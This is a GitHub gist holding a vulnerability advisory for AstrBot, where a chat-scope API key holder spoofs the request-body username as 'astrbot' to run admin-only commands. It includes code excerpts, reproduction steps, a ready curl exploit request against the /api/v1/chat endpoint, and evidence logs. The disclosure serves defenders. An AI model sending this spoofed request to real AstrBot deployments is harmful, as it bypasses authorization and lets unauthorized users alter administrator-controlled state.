Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save YLChen-007/080ba55a71588dbbba3f27afed4c072c to your computer and use it in GitHub Desktop.

Select an option

Save YLChen-007/080ba55a71588dbbba3f27afed4c072c to your computer and use it in GitHub Desktop.
AstrBot: AstrBot OpenAPI `username` Spoofing Allows `chat`-Scope API Key Holders to Execute Admin-Only Commands

Advisory Details

Title: AstrBot OpenAPI username Spoofing Allows chat-Scope API Key Holders to Execute Admin-Only Commands

Description:

Summary

AstrBot's OpenAPI chat endpoint authenticates callers with an API key, but later derives the effective command sender identity from the request-body username. A caller holding a valid chat-scope API key can submit username="astrbot" and be treated as an administrator by the message pipeline, allowing execution of admin-only builtin commands over HTTP.

Details

The vulnerable flow starts in the API-key middleware. For /api/v1/* requests, AstrBot correctly authenticates the supplied API key and stores a trusted principal in g.username as api_key:<key_id>:

g.api_key_id = api_key.key_id
g.api_key_scopes = scopes
g.username = f"api_key:{api_key.key_id}"

The issue is introduced later in OpenApiRoute.chat_send(). After the caller is already authenticated, the handler accepts a user-controlled JSON username, resolves it, and overwrites the trusted principal with that untrusted value:

original_username = g.get("username", "guest")
g.username = effective_username

That same effective_username is then propagated into the WebChat event conversion layer. WebChatAdapter.convert_message() creates the sender object directly from attacker-controlled queue data:

username, cid, payload = data
abm.sender = MessageMember(username, username)

From there, AstrMessageEvent.get_sender_id() returns the spoofed username, and WakingCheckStage.process() uses it as the authorization identity:

for admin_id in self.ctx.astrbot_config["admins_id"]:
    if str(event.get_sender_id()) == admin_id:
        event.role = "admin"
        break

This makes the trust boundary incorrect: OpenAPI authentication proves possession of a valid API key, but authorization for admin-only commands is based on request-body identity. During end-to-end verification on AstrBot v4.25.5, sending POST /api/v1/chat with:

  • a valid chat-scope API key,
  • username="astrbot", and
  • message="/name pwned_alias"

caused the admin-only builtin /name command to succeed and persist an alias row with creator_sender_id="astrbot".

The impact is observable both in the streaming HTTP response and in persisted database state. A control request using username="not-admin-user" with the same command is denied, which confirms the exploit hinges on sender ID spoofing rather than ordinary command behavior.

PoC

Prerequisites

  • A running AstrBot instance exposing the dashboard and OpenAPI endpoints.
  • A valid dashboard login so an API key can be created through the standard UI/API flow.
  • An API key with the chat scope.
  • Default or otherwise known administrator ID values. In the verified environment, astrbot was present in admins_id.
  • Python 3 and the dependencies required by the existing PoC scripts.

Reproduction Steps

  1. Download the PoC helper from: common.py
  2. Download the full end-to-end reproducer from: run_experiment.py
  3. Download the exploit path script from: verification_test.py
  4. Download the control script from: control_normal_behavior.py
  5. From the AstrBot repository root, start the isolated verification flow: python3 llm-enhance/cve-finding/similar/Auth_Bypass/CVE-2026-27484-OpenAPI-Username-Spoofing-exp/run_experiment.py
  6. The script will:
    • start the real AstrBot service with an isolated ASTRBOT_ROOT,
    • read the initial dashboard password from the service log,
    • log in via POST /api/auth/login,
    • create a real chat-scope API key via POST /api/apikey/create,
    • send a control request using username="not-admin-user",
    • send an exploit request using username="astrbot".
  7. Equivalent exploit request shape: curl -N -X POST http://127.0.0.1:6186/api/v1/chat -H 'X-API-Key: <chat-scope-api-key>' -H 'Content-Type: application/json' -d '{"username":"astrbot","session_id":"spoofed-session","message":"/name pwned_alias","enable_streaming":true}'
  8. Observe that the exploit response contains: UMO name set to: pwned_alias
  9. Confirm that the alias row is persisted in isolated_root/data/data_v4.db with creator_sender_id="astrbot".

Log of Evidence

The end-to-end experiment produced the following evidence:

Control response:
您(ID: not-admin-user)的权限不足以使用此指令。通过 /sid 获取 ID 并请管理员添加。

Exploit response:
UMO name set to: pwned_alias
UMO: webchat:FriendMessage:webchat!astrbot!spoofed-session

Runtime log excerpts:

[webchat(webchat)] not-admin-user/not-admin-user: /name control_alias
触发 builtin_commands 时, 用户(ID=not-admin-user) 权限不足。

[webchat(webchat)] astrbot/astrbot: /name pwned_alias
Prepare to send - astrbot/astrbot: UMO name set to: pwned_alias
UMO: webchat:FriendMessage:webchat!astrbot!spoofed-session

Persisted database evidence:

{
  "umo": "webchat:FriendMessage:webchat!astrbot!spoofed-session",
  "creator_sender_id": "astrbot",
  "auto_name": "astrbot",
  "user_alias": "pwned_alias"
}

Impact

This is an authorization bypass caused by identity spoofing across the OpenAPI-to-message-pipeline trust boundary. Any party that legitimately holds a chat-scope API key can impersonate an administrator sender ID and execute admin-only builtin commands. In the verified case, the attacker was able to run /name and persist a forged alias record as if it were created by the administrator. Any other builtin command or plugin gated by the same event.get_sender_id()-based admin check is potentially reachable through the same mechanism.

Affected products

  • Ecosystem: pip
  • Package name: astrbot
  • Affected versions: <= 4.25.5
  • Patched versions:

Severity

  • Severity: High
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

Weaknesses

  • CWE: CWE-290: Authentication Bypass by Spoofing

Occurrences

Permalink Description
https://github.com/AstrBotDevs/AstrBot/blob/af70151ff82fbd035f8a93d912699400e15ea5e4/astrbot/dashboard/server.py#L365-L368 The API-key middleware stores the trusted authenticated principal as g.username = f"api_key:{api_key.key_id}".
https://github.com/AstrBotDevs/AstrBot/blob/af70151ff82fbd035f8a93d912699400e15ea5e4/astrbot/dashboard/routes/open_api.py#L145-L173 chat_send() accepts request-body username and overwrites the trusted principal with g.username = effective_username, creating the spoofing boundary break.
https://github.com/AstrBotDevs/AstrBot/blob/af70151ff82fbd035f8a93d912699400e15ea5e4/astrbot/core/platform/sources/webchat/webchat_adapter.py#L203-L212 The webchat adapter converts attacker-controlled queue data into MessageMember(username, username), making the spoofed identity the canonical sender ID.
https://github.com/AstrBotDevs/AstrBot/blob/af70151ff82fbd035f8a93d912699400e15ea5e4/astrbot/core/pipeline/waking_check/stage.py#L95-L100 The admin authorization check trusts event.get_sender_id() and assigns event.role = "admin" when it matches admins_id.
https://github.com/AstrBotDevs/AstrBot/blob/af70151ff82fbd035f8a93d912699400e15ea5e4/astrbot/builtin_stars/builtin_commands/commands/name.py#L35-L42 The verified admin-only /name command persists attacker-controlled state under the spoofed sender ID once the upstream authorization check is bypassed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment